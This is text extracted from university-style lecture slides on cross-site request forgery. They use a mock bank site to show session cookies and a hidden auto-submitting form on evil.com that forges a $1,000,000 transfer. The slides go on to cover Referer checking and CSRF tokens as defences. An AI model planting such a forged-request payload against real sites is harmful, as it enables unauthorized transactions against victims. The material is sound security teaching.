SLIDE 95

Vulnerable Website

Bank of Washington

Account Transfer Invest Learn Locations Contact

Welcome, Christo

Transfer Money To: Amount: Transfer

slide-96
SLIDE 96

Client Side Server Side

slide-97
SLIDE 97

Client Side Server Side

GET /login_form.html HTTP/1.1 HTTP/1.1 200 OK

1) GET the login page

slide-98
SLIDE 98

Client Side Server Side

GET /login_form.html HTTP/1.1 HTTP/1.1 200 OK POST /login.php HTTP/1.1 HTTP/1.1 302 Found Set-Cookie: session=3#4fH8d%dA1; HttpOnly; Secure;

1) GET the login page 2) POST username and password, receive a session cookie

slide-99
SLIDE 99

Client Side Server Side

GET /login_form.html HTTP/1.1 HTTP/1.1 200 OK POST /login.php HTTP/1.1 HTTP/1.1 302 Found Set-Cookie: session=3#4fH8d%dA1; HttpOnly; Secure; GET /money_xfer.html HTTP/1.1 Cookie: session=3#4fH8d%dA1; HTTP/1.1 200 OK

1) GET the login page 2) POST username and password, receive a session cookie 3) GET the money transfer page

slide-100
SLIDE 100

Client Side Server Side

GET /login_form.html HTTP/1.1 HTTP/1.1 200 OK POST /login.php HTTP/1.1 HTTP/1.1 302 Found Set-Cookie: session=3#4fH8d%dA1; HttpOnly; Secure; GET /money_xfer.html HTTP/1.1 Cookie: session=3#4fH8d%dA1; HTTP/1.1 200 OK POST /xfer.php HTTP/1.1 Cookie: session=3#4fH8d%dA1; HTTP/1.1 302 Found

1) GET the login page 2) POST username and password, receive a session cookie 3) GET the money transfer page 4) POST the money transfer request

slide-101
SLIDE 101

CSRF Attack

  • Assume that the victim is logged-in to www.bofw.com

Origin: www.bofw.com session=3#4fH8d%dA1 evil.com bofw.com

Bank of Washington

slide-102
SLIDE 102

CSRF Attack

  • Assume that the victim is logged-in to www.bofw.com

Origin: www.bofw.com session=3#4fH8d%dA1 evil.com bofw.com

Bank of Washington 1) Send malicious link

slide-103
SLIDE 103

CSRF Attack

  • Assume that the victim is logged-in to www.bofw.com

Origin: www.bofw.com session=3#4fH8d%dA1 evil.com bofw.com

Bank of Washington <form action="https://bofw.com/ xfer.php"> <input type="hidden" name="to“ value="attacker"> <input type="hidden" name="amount“ value="1000000"> </form> <script>document.forms[0].submit();< /script> 1) Send malicious link 2) GET 3) HTTP/1.1 200 OK

slide-104
SLIDE 104

CSRF Attack

  • Assume that the victim is logged-in to www.bofw.com

Origin: www.bofw.com session=3#4fH8d%dA1 evil.com bofw.com

Bank of Washington <form action="https://bofw.com/ xfer.php"> <input type="hidden" name="to“ value="attacker"> <input type="hidden" name="amount“ value="1000000"> </form> <script>document.forms[0].submit();< /script> 1) Send malicious link 2) GET 3) HTTP/1.1 200 OK 4) POST , session=3#... 5 ) H T T P / 1 . 1 3 2 F

  • u

n d

slide-105
SLIDE 105

Mitigating CSRF Attacks

  • Two main types of defenses
  • 1. Referer checking
  • Leverages the Referer HTTP header, which is automatically added to all

requests by the browser

  • Imperfect solution, may lead to false positives
  • 2. CSRF tokens
  • Random tokens inserted into all forms by the server
  • POSTed responses must include the corresponding random token
slide-106
SLIDE 106

HTTP “Referer” Header

  • HTTP Referer header
  • Sent automatically by the browser to indicate the origin of a request
  • Example: if you click a link from Google Search…

Referer: https://google.com/search?q=whatever

slide-107
SLIDE 107

HTTP “Referer” Header

  • HTTP Referer header
  • Sent automatically by the browser to indicate the origin of a request
  • Example: if you click a link from Google Search…

Referer: https://google.com/search?q=whatever

  • Three possibilities in the previous CSRF example
  • Referer: https://www.bofw.com/
  • Referer: http://evil.com/
  • Referer:
slide-108
SLIDE 108

HTTP “Referer” Header

  • HTTP Referer header
  • Sent automatically by the browser to indicate the origin of a request
  • Example: if you click a link from Google Search…

Referer: https://google.com/search?q=whatever

  • Three possibilities in the previous CSRF example
  • Referer: https://www.bofw.com/
  • Referer: http://evil.com/
  • Referer:
  • Leveraging Referer to mitigate CSRF
  • Strict: only accept POST if Referer is present and expected value
  • Lenient: only accept POST if Referer is absent or expected value
slide-109
SLIDE 109

Referer Privacy

  • Referer header can leak information from your browser to a website
  • Imagine seeing an access log entry for a celebrity's Wikipedia entry where...

Referer=http://int.cia.gov/projects/hitlist.html

slide-110
SLIDE 110

Referer Privacy

  • Referer header can leak information from your browser to a website
  • Imagine seeing an access log entry for a celebrity's Wikipedia entry where...

Referer=http://int.cia.gov/projects/hitlist.html

  • Common sources of blocking
  • HTTP proxy at network perimeter
  • HTTPS → HTTP transitions
  • User blocking
  • Broken user agents
slide-111
SLIDE 111

Referer Privacy

  • Referer header can leak information from your browser to a website
  • Imagine seeing an access log entry for a celebrity's Wikipedia entry where...

Referer=http://int.cia.gov/projects/hitlist.html

  • Common sources of blocking
  • HTTP proxy at network perimeter
  • HTTPS → HTTP transitions
  • User blocking
  • Broken user agents
  • Using Referer to mitigate CSRF may lead to false positives
  • Angry users, lost revenue
slide-112
SLIDE 112

CSRF Tokens

<form action="/xfer.php"> // ... <input type="hidden“ name="CSRF_TOKEN“ value="Ko7bgbjYr2+nqO7J7zIKbQ=="> </form>

  • Require POSTed responses to include a secret value
  • Unguessability implies unforgeability
  • SOP prevents attacker from downloading the target form using code in your browser
  • Attacker can't feasibly predict correct value
  • Con: requires rewriting app in most cases
  • Pro: Many web frameworks include CSRF token modules
  • Proxy could also be used to insert and check tokens
slide-113
SLIDE 113

CSRF Wrapup

  • Usually requires a one-step, side-effecting action
  • Attacks are blind
  • e.g., POST /important_action
  • CSRF is the dual of XSS is some ways
  • In XSS, client trust in the server is violated
  • In CSRF

, server trust in the client is violated

  • A classic example of a confused deputy attack
  • The app is tricked into doing something it shouldn't do, even though it

possesses the authority to do so